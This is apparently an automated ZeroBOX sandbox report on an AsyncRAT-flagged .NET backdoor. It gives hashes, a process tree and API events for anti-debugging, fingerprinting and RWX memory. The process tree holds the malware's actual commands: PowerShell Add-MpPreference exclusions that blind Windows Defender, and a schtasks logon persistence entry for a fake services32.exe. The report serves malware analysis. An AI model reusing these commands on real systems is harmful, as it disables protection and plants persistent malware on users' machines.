Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Dec. 18, 2021, 11:49 p.m.	Dec. 19, 2021, 12:08 a.m.

Size	2.0MB
Type	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5	`cd06b2114626a7ac7829f440a08f6995`
SHA256	`4a291c7b3e0aef77dc7c17163536722d9df1bc025744fde659fd7c14c9e6ece2`
CRC32	`D35C51AA`
ssdeep	`49152:OLhiEoVbmDu21McPMeWejSE+Niq1VixY7O/8WjLe+R9afqx:2iEo5mDu215EeWyKMY7O/8+e6gS`
Yara	Malicious_Packer_Zero - Malicious Packer IsPE64 - (no description) PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware UPX_Zero - UPX packed file Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

et.exe "C:\Users\test22\AppData\Local\Temp\et.exe"
2316
- cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
  2464
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
    2520
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
    2976
- cmd.exe "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
  3024
  - schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
    2056
- cmd.exe "cmd" cmd /c "C:\Windows\system32\services32.exe"
  2548
  - services32.exe C:\Windows\system32\services32.exe
    2600
    - cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
      1492
      - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        1468

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (15 events)

Time & API	Arguments	Status	Return
GetComputerNameW Dec. 18, 2021, 11:49 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:49 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:49 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:49 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:49 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 18, 2021, 11:49 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:49 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 18, 2021, 11:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 18, 2021, 11:43 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (6 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 18, 2021, 11:49 p.m.			0	0
IsDebuggerPresent Dec. 18, 2021, 11:49 p.m.			0	0
IsDebuggerPresent Dec. 18, 2021, 11:49 p.m.			0	0
IsDebuggerPresent Dec. 18, 2021, 11:43 p.m.			0	0
IsDebuggerPresent Dec. 18, 2021, 11:43 p.m.			0	0
IsDebuggerPresent Dec. 18, 2021, 11:43 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 92 events)

Time & API	Arguments	Status	Return
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000366d70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9b50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9b50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9b50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4da020 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4da020 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4da4f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4da4f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4da4f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4d9ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4faff0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4faff0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4faff0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4faff0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4faff0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4faff0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4faff0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4faff0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb060 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb060 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb060 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb1b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:49 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb1b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb220 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb220 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb1b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb1b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb1b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4fb450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000375400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000375400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51c5b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51c5b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51c690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51c690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51c690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51c690 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3d3080 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3ec450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3ec450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Dec. 18, 2021, 11:43 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3ec450 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 18, 2021, 11:49 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 446 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 1769472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a20000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000b50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b71000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef320b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a20000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b72000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b74000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b74000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b74000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b74000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe933ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9347c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93480000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe933dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe933eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe933cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe933c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9341c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe933ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe933da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93530000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
